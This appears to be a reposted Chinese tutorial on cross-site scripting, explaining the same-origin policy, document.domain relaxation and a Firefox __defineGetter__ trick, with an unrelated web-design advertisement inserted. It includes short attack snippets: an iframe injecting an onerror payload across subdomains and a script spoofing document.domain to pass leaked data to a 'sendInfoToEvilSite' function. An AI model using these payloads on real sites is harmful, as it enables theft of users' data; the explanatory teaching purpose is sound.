新聞中心
【.com 獨(dú)家特稿】跨站腳本的名稱(chēng)源自于這樣一個(gè)事實(shí),即一個(gè)Web 站點(diǎn)(或者人)可以把他們的選擇的代碼越過(guò)安全邊界線注射到另一個(gè)不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時(shí),攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶做一些用戶非本意的事情。

成都創(chuàng)新互聯(lián)網(wǎng)站建設(shè)由有經(jīng)驗(yàn)的網(wǎng)站設(shè)計(jì)師、開(kāi)發(fā)人員和項(xiàng)目經(jīng)理組成的專(zhuān)業(yè)建站團(tuán)隊(duì),負(fù)責(zé)網(wǎng)站視覺(jué)設(shè)計(jì)、用戶體驗(yàn)優(yōu)化、交互設(shè)計(jì)和前端開(kāi)發(fā)等方面的工作,以確保網(wǎng)站外觀精美、成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站建設(shè)易于使用并且具有良好的響應(yīng)性。
在本文中,我們論述瀏覽器方面的安全措施,以及如何利用跨站腳本(XSS)這種常見(jiàn)的技術(shù)來(lái)規(guī)避瀏覽器的安全措施。在正式討論跨站腳本攻擊之前,我們必須首先要對(duì)現(xiàn)有的安全措施有所了解,所以本文將詳細(xì)介紹當(dāng)前Web應(yīng)用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。
一、Web安全模型
盡管瀏覽器的安全措施多種多樣,但是要想黑掉一個(gè)Web應(yīng)用,只要在瀏覽器的多種安全措施中找到某種措施的一個(gè)漏洞或者繞過(guò)一種安全措施的方法即可。瀏覽器的各種保安措施之間都試圖保持相互獨(dú)立,但是攻擊者只要能在出錯(cuò)的地方注入少許JavaScript,所有安全控制幾乎全部瓦解——最后還起作用的就是最弱的安全防線:同源策略。同源策略管轄著所有保安措施,然而,由于瀏覽器及其插件,諸如Acrobat Reader、Flash 和Outlook Express漏洞頻出,致使同源策略也頻頻告破。在本文里,我們主要討論瀏覽器的三個(gè)安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型
此外,我們還會(huì)介紹如何利用JavaScript代碼削弱這些安全模型的方法。
二、同源策略
同源策略又名同域策略是瀏覽器中的主要安全措施。這里的“源”指的是主機(jī)名、協(xié)議和端口號(hào)的組合;我們可以把一個(gè)“源”看作是某個(gè)web頁(yè)面或?yàn)g覽器所瀏覽的信息的創(chuàng)建者。 同源策略,簡(jiǎn)單地說(shuō)就是要求動(dòng)態(tài)內(nèi)容(例如,JavaScript或者VBScript)只能閱讀與之同源的那些HTTP應(yīng)答和cookies,而不能閱讀來(lái)自不同源的內(nèi)容。更為有趣的是,同源策略對(duì)寫(xiě)操作沒(méi)有任何限制。因而,一個(gè)web站點(diǎn)可以向任何其他的Web站點(diǎn)發(fā)送(或?qū)懭耄〩TTP請(qǐng)求,盡管為了防止跨站請(qǐng)求可能會(huì)對(duì)發(fā)送這些請(qǐng)求有關(guān)的cookies和頭部有所限制。
解釋同源策略的最好的方法是實(shí)例說(shuō)明。假定我們?cè)诰W(wǎng)頁(yè)http://foo.com/bar/baz.html中放上了JavaScript代碼。那么,這些JavaScript可以讀/寫(xiě)一些頁(yè)面,但是卻不能讀/寫(xiě)其他頁(yè)面。下表說(shuō)明了來(lái)自http://foo.com/bar/baz.html的JavaScript可以訪問(wèn)哪些URL。
URL 能否訪問(wèn)這個(gè)URL 原因
http://foo.com/index.html
可以。
協(xié)議和主機(jī)名匹配。
端口沒(méi)有顯式說(shuō)明。
該端口被假設(shè)為80。注意,兩者的目錄是不同的。這個(gè)目錄是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 協(xié)議和主機(jī)名匹配。
端口沒(méi)有顯式說(shuō)明。
該端口被假設(shè)為80。注意目錄的區(qū)別這里的目錄是/cgi-bin/version2,而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有幾乎相同的URL,HTTP協(xié)議匹配,端口是80(HTTP默認(rèn)的端口),主機(jī)名也一樣。
https://foo.com/bar/baz.html
不可以。 協(xié)議不同,這里使用的協(xié)議是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 兩個(gè)主機(jī)名不同,這里的主機(jī)名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 兩個(gè)端口號(hào)不同。這里的端口是8080,而前面的端口被假定為80。
上表說(shuō)明了當(dāng)http://foo.com/bar/baz.html試圖加載某些URL時(shí)同源策略的工作情況。下面我們介紹同源策略的例外。通過(guò)在被請(qǐng)求的頁(yè)面中對(duì)JavaScript的變量document.domain進(jìn)行相應(yīng)設(shè)置,可以使瀏覽器有限度地違反同源策略,即,如果http://www.foo.com/bar/baz.html頁(yè)面中含有下列內(nèi)容:
< script >
document.domain = "foo.com";
< / script >
那么任何http://xyz.foo.com/anywhere.html頁(yè)面內(nèi)的腳本都可以向http://www.foo.com/bar/baz.html發(fā)送HTTP請(qǐng)求,并可以讀取其內(nèi)容。在此種情況下,如果攻擊者能夠向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的話,那么他同時(shí)也能在http://www.foo.com/bar/baz.html中注入JavaScript代碼。
為此,攻擊者需要首先在http://xyz.foo.com/anywhere.html(其document.domain設(shè)為foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其document.domain也設(shè)為foo.com)中載入一個(gè)iframe,然后就可以通過(guò)JavaScript來(lái)訪問(wèn)該iframe的內(nèi)容了。例如,http://xyz.foo.com/anywhere.html中的下列代碼將在www.foo.com域中執(zhí)行一個(gè)JavaScript的alert()函數(shù):
< iframe src="http://www.foo.com/bar/baz.html"
onload="frames[0].document.body.innerHTML+=’onerror=alert(1)’">< / iframe >
這樣,document.domain將允許攻擊者跨域活動(dòng)(域際旅行)。注意,你不能在document.domain變量中放入任何域名,相反,只能在document.domain變量中放置“源”頁(yè)面即所在頁(yè)面的域名的上級(jí)域名,如www.foo.com的上級(jí)域名是foo.com 。
在Firefox瀏覽器中,攻擊者可以利用__defineGetter__()來(lái)操縱document.domain,命令document.domain返回攻擊者所選的任意字符串。這個(gè)不會(huì)損害瀏覽器的同源策略,因?yàn)樗粚?duì)JavaScript引擎有影響,而不會(huì)影響底層的文檔對(duì)象模型(DOM),然而這對(duì)于依靠document.domain在后臺(tái)進(jìn)行跨域請(qǐng)求的JavaScript應(yīng)用程序卻是有影響的。例如,假如一個(gè)后臺(tái)請(qǐng)求http://somesite.com/GetInformation?callback=callbackFunction的應(yīng)答的HTTP體如下所示:
function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}
通過(guò)誘騙受害者訪問(wèn)(攻擊者的)包含下列腳本的頁(yè)面,攻擊者就可以可以獲得保密資料:
< script >
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >
新聞名稱(chēng):跨站腳本攻擊深入解析:安全模型和同源策略
本文來(lái)源:http://www.5511xx.com/article/dpsosic.html


咨詢
建站咨詢
